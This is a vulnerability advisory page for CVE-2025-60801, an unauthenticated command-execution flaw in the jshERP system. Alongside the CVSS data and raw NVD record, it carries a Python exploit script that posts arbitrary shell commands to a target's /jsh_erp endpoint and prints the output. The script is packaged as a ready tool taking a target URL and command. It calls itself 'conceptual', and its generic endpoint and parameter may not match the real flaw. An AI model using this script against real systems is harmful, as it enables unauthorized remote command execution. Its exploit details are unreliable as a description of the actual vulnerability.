Security Vulnerability Report
中文
CVE-2025-60801 CVSS 8.2 HIGH

CVE-2025-60801

Published: 2025-10-24 16:26:10
Last Modified: 2025-11-05 21:06:25

Description

jshERP up to commit fbda24da was discovered to contain an unauthenticated remote code execution (RCE) vulnerability via the jsh_erp function.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:* - VULNERABLE
jshERP <= fbda24da commit

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60801 PoC - jshERP Unauthenticated RCE via jsh_erp function Note: This is a conceptual PoC for educational and security testing purposes only. """ import requests import sys def check_vulnerability(target_url): """ Check if the target jshERP instance is vulnerable to CVE-2025-60801 """ # Target endpoint for jsh_erp function endpoint = f"{target_url.rstrip('/')}/jsh_erp" # Test with a simple command injection (id command) # This tests if the jsh_erp function is vulnerable test_payload = { 'cmd': 'id' # Simple command to test RCE } try: # Send request without authentication response = requests.post(endpoint, data=test_payload, timeout=10) # Check if command was executed if 'uid=' in response.text or 'root' in response.text: return True return False except requests.RequestException as e: print(f"Error: {e}") return False def exploit_rce(target_url, command): """ Exploit CVE-2025-60801 to execute arbitrary commands """ endpoint = f"{target_url.rstrip('/')}/jsh_erp" # Payload with command injection payload = { 'cmd': command } try: response = requests.post(endpoint, data=payload, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-60801.py <target_url> [command]") print("Example: python3 cve-2025-60801.py http://target.com id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f"[*] Testing CVE-2025-60801 on {target}") if check_vulnerability(target): print("[+] Target appears to be vulnerable!") print(f"[*] Executing command: {cmd}") result = exploit_rce(target, cmd) print(f"[+] Result:\n{result}") else: print("[-] Target does not appear to be vulnerable or is not reachable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60801", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:26:09.540", "lastModified": "2025-11-05T21:06:25.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jshERP up to commit fbda24da was discovered to contain an unauthenticated remote code execution (RCE) vulnerability via the jsh_erp function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-08-14", "matchCriteriaId": "98A6D91E-D870-4B1C-B88C-9460DD117C76"}]}]}], "references": [{"url": "https://fushuling.com/index.php/2025/08/17/%e7%bb%95%e8%bf%87%e8%a1%a5%e4%b8%81%ef%bc%8c%e5%86%8d%e6%ac%a1%e5%ae%9e%e7%8e%b0%e5%8d%8e%e5%a4%8ferp%e6%9c%aa%e6%8e%88%e6%9d%83rce%e5%b7%b2%e4%bf%ae%e5%a4%8d/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/jishenghua/jshERP/issues/132", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}